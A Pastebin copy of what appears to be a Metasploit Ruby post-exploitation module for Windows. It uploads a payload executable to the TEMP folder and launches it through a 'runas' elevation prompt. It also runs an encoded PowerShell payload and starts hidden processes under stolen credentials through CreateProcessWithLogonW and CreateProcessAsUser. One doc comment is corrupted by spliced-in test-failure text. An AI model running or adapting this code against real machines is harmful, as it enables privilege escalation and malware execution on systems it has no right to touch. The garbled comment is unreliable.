Guest User

Untitled

a guest
Jul 13th, 2015
481
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # -*- coding: binary -*-
  2.  
  3. require 'msf/core/exploit/powershell'
  4. require 'msf/core/exploit/exe'
  5.  
  6. module Msf::Post::Windows::Runas
  7.  
  8. include Msf::Post::File
  9. include Msf::Exploit::EXE
  10. include Msf::Exploit::Powershell
  11. include Msf::Post::Windows::Error
  12.  
  13. ERROR = Msf::Post::Windows::Error
  14. MAX_PATH = 260
  15. STARTF_USESHOWWINDOW = 0x00000001
  16. SW_HIDE = 0
  17.  
  18. def shell_execute_exe(filename = nil, path = nil)
  19. exe_payload = generate_payload_exe
  20. payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
  21. payload_path = path || get_env('TEMP')
  22. cmd_location = "#{payload_path}\\#{payload_filename}"
  23. if filename == nil
  24. print_status("Uploading payload to the filesystem...")
  25. write_file(cmd_location, exe_payload)
  26. else
  27. print_status("Using #{payload_filename}...")
  28. end
  29. command, args = cmd_location, nil
  30. shell_exec(command, args)
  31. end
  32.  
  33. def shell_execute_psh
  34. powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
  35. command = 'cmd.exe'
  36. args = "/c #{powershell_command}"
  37. shell_exec(command, args)
  38. end
  39.  
  40. def shell_exec(command, args)
  41. print_status('Executing Command!')
  42. session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
  43. ::Timeout.timeout(30) do
  44. select(nil, nil, nil, 1) until session_created?
  45. end
  46. end
  47.  
  48. #
  49. # Create a STARTUP_INFO struct for use with CreateProcessA
  50. #
  51. # This struct will cause the process to be hidden
  52. #
  53. # @return [String] STARTUP_INFO struct
  54. #
  55. def startup_info
  56. [0, # cb
  57. 0, # lpReserved
  58. 0, # lpDesktop
  59. 0, # lpTitle
  60. 0, # dwX
  61. 0, # dwY
  62. 0, # dwXSize
  63. 0, # dwYSize
  64. 0, # dwXCountChars
  65. 0, # dwYCountChars
  66. 0, # dwFillAttribute
  67. STARTF_USESHOWWINDOW, # dwFlags
  68. SW_HIDE, # wShowWindow
  69. 0, # cbReserved2
  70. 0, # lpReserved2
  71. 0, # hStdInput
  72. 0, # hStdOutput
  73. 0 # hStdError
  74. ].pack('VVVVVVVVVVVVvvVVVV')
  75. end
  76.  
  77. #
  78. # Call CreateProcessWithLogonW to start a process with the supplier
  79. # user credentials
  80. #
  81. # @note The caller should clear up the handles returned in
  82. # the PROCESS_INFORMATION @return hash.
  83. #
  84. # @param domain [String] The target user domain
  85. # @param user [String] The target user
  86. # @param password [String] The target user password
  87. # @param application_name [String] The executable to be run, can be
  88. # nil
  89. # @param command_line [String] The command line or process arguments
  90. #
  91. # @return [Hash, nil] The values from the process_information struct
  92. #
  93. def create_process_with_logon(domain, user, password, application_name, command_line)
  94. return unless check_user_format(user, domain)
  95. return unless check_command_length(application_name, command_line, 1024)
  96.  
  97. vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...")
  98. create_process = session.railgun.advapi32.CreateProcessWithLogonW(user,
  99. domain,
  100. password,
  101. 'LOGON_WITH_PROFILE',
  102. application_name,
  103. command_line,
  104. 'CREATE_UNICODE_ENVIRONMENT',
  105. nil,
  106. nil,
  107. startup_info,
  108. 16)
  109. if create_process['return']
  110. pi = parse_process_information(create_process['lpProcessInformation'])
  111. print_good("Process started successfully, PID: #{pi[:process_id]}")
  112. else
  113. print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
  114. print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil?
  115. end
  116.  
  117. pi
  118. end
  119.  
  120. #
  121. # Call CreateProcessAsUser to start a process with the supplier
  122. # user credentials
  123. #
  124. # Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and
  125. # SE_ASSIGNPRIMARYTOKEN_NAME privileges.
  126. #
  127. # This will normally error with 0xc000142 on later OS's (Vista+?) for
  128. # gui apps but is ok for firing off cmd.exe...
  129. #
  130. # @param domain [String] The target user domain
  131. # @param user [String] The target user
  132. # @param password [String] The target user password
  133. # @param application_name [String] The executable to run :CloseHandle
  134. # with unexpected arguments
  135. # expected: ("testPhToken")
  136. # got: (n be run, can be
  137. # nil
  138. # @param command_line [String] The command line or process arguments
  139. #
  140. # @return [Hash, nil] The values from the process_information struct
  141. #
  142. def create_process_as_user(domain, user, password, application_name, command_line)
  143. return unless check_user_format(user, domain)
  144. return unless check_command_length(application_name, command_line, 32000)
  145.  
  146. vprint_status("Executing LogonUserA...")
  147. logon_user = session.railgun.advapi32.LogonUserA(user,
  148. domain,
  149. password,
  150. 'LOGON32_LOGON_INTERACTIVE',
  151. 'LOGON32_PROVIDER_DEFAULT',
  152. 4)
  153.  
  154. if logon_user['return']
  155. begin
  156. ph_token = logon_user['phToken']
  157. vprint_status("Executing CreateProcessAsUserA...")
  158. create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token,
  159. application_name,
  160. command_line,
  161. nil,
  162. nil,
  163. false,
  164. 'CREATE_NEW_CONSOLE',
  165. nil,
  166. nil,
  167. startup_info,
  168. 16)
  169.  
  170. if create_process['return']
  171. begin
  172. pi = parse_process_information(create_process['lpProcessInformation'])
  173. ensure
  174. session.railgun.kernel32.CloseHandle(pi[:process_handle])
  175. session.railgun.kernel32.CloseHandle(pi[:thread_handle])
  176. end
  177. print_good("Process started successfully, PID: #{pi[:process_id]}")
  178. else
  179. print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
  180. end
  181.  
  182. return pi
  183. ensure
  184. session.railgun.kernel32.CloseHandle(ph_token)
  185. end
  186. else
  187. print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
  188. end
  189.  
  190. nil
  191. end
  192.  
  193. #
  194. # Parse the PROCESS_INFORMATION struct
  195. #
  196. # @param process_information [String] The PROCESS_INFORMATION value
  197. # from the CreateProcess call
  198. #
  199. # @return [Hash] The values from the process_information struct
  200. #
  201. def parse_process_information(process_information)
  202. fail ArgumentError, 'process_information is nil' if process_information.nil?
  203. fail ArgumentError, 'process_information is empty string' if process_information.empty?
  204.  
  205. pi = process_information.unpack('VVVV')
  206. { :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
  207. end
  208.  
  209. #
  210. # Checks the username and domain is in the correct format
  211. # for the CreateProcess_x WinAPI calls.
  212. #
  213. # @param username [String] The target user
  214. # @param domain [String] The target user domain
  215. #
  216. # @raise [ArgumentError] If the username format is incorrect
  217. #
  218. # @return [True] True if username is in the correct format
  219. #
  220. def check_user_format(username, domain)
  221. fail ArgumentError, 'username is nil' if username.nil?
  222.  
  223. if domain && username.include?('@')
  224. raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil'
  225. end
  226.  
  227. true
  228. end
  229.  
  230. #
  231. # Checks the command_length parameter is the correct length
  232. # for the CreateProcess_x WinAPI calls depending on the presence
  233. # of application_name
  234. #
  235. # @param application_name [String] lpApplicationName
  236. # @param command_line [String] lpCommandLine
  237. # @param max_length [Integer] The max command length of the respective
  238. # CreateProcess function
  239. #
  240. # @raise [ArgumentError] If the command_line is too large
  241. #
  242. # @return [True] True if the command_line is within the correct bounds
  243. #
  244. def check_command_length(application_name, command_line, max_length)
  245. fail ArgumentError, 'max_length is nil' if max_length.nil?
  246.  
  247. if application_name.nil? && command_line.nil?
  248. raise ArgumentError, 'Both application_name and command_line are nil'
  249. elsif command_line && command_line.length > max_length
  250. raise ArgumentError, "Command line must be less than #{max_length} characters (Currently #{command_line.length})"
  251. elsif application_name.nil? && command_line
  252. cl = command_line.split(' ')
  253. if cl[0] && cl[0].length > MAX_PATH
  254. raise ArgumentError, "When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})"
  255. end
  256. end
  257.  
  258. true
  259. end
  260. end
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×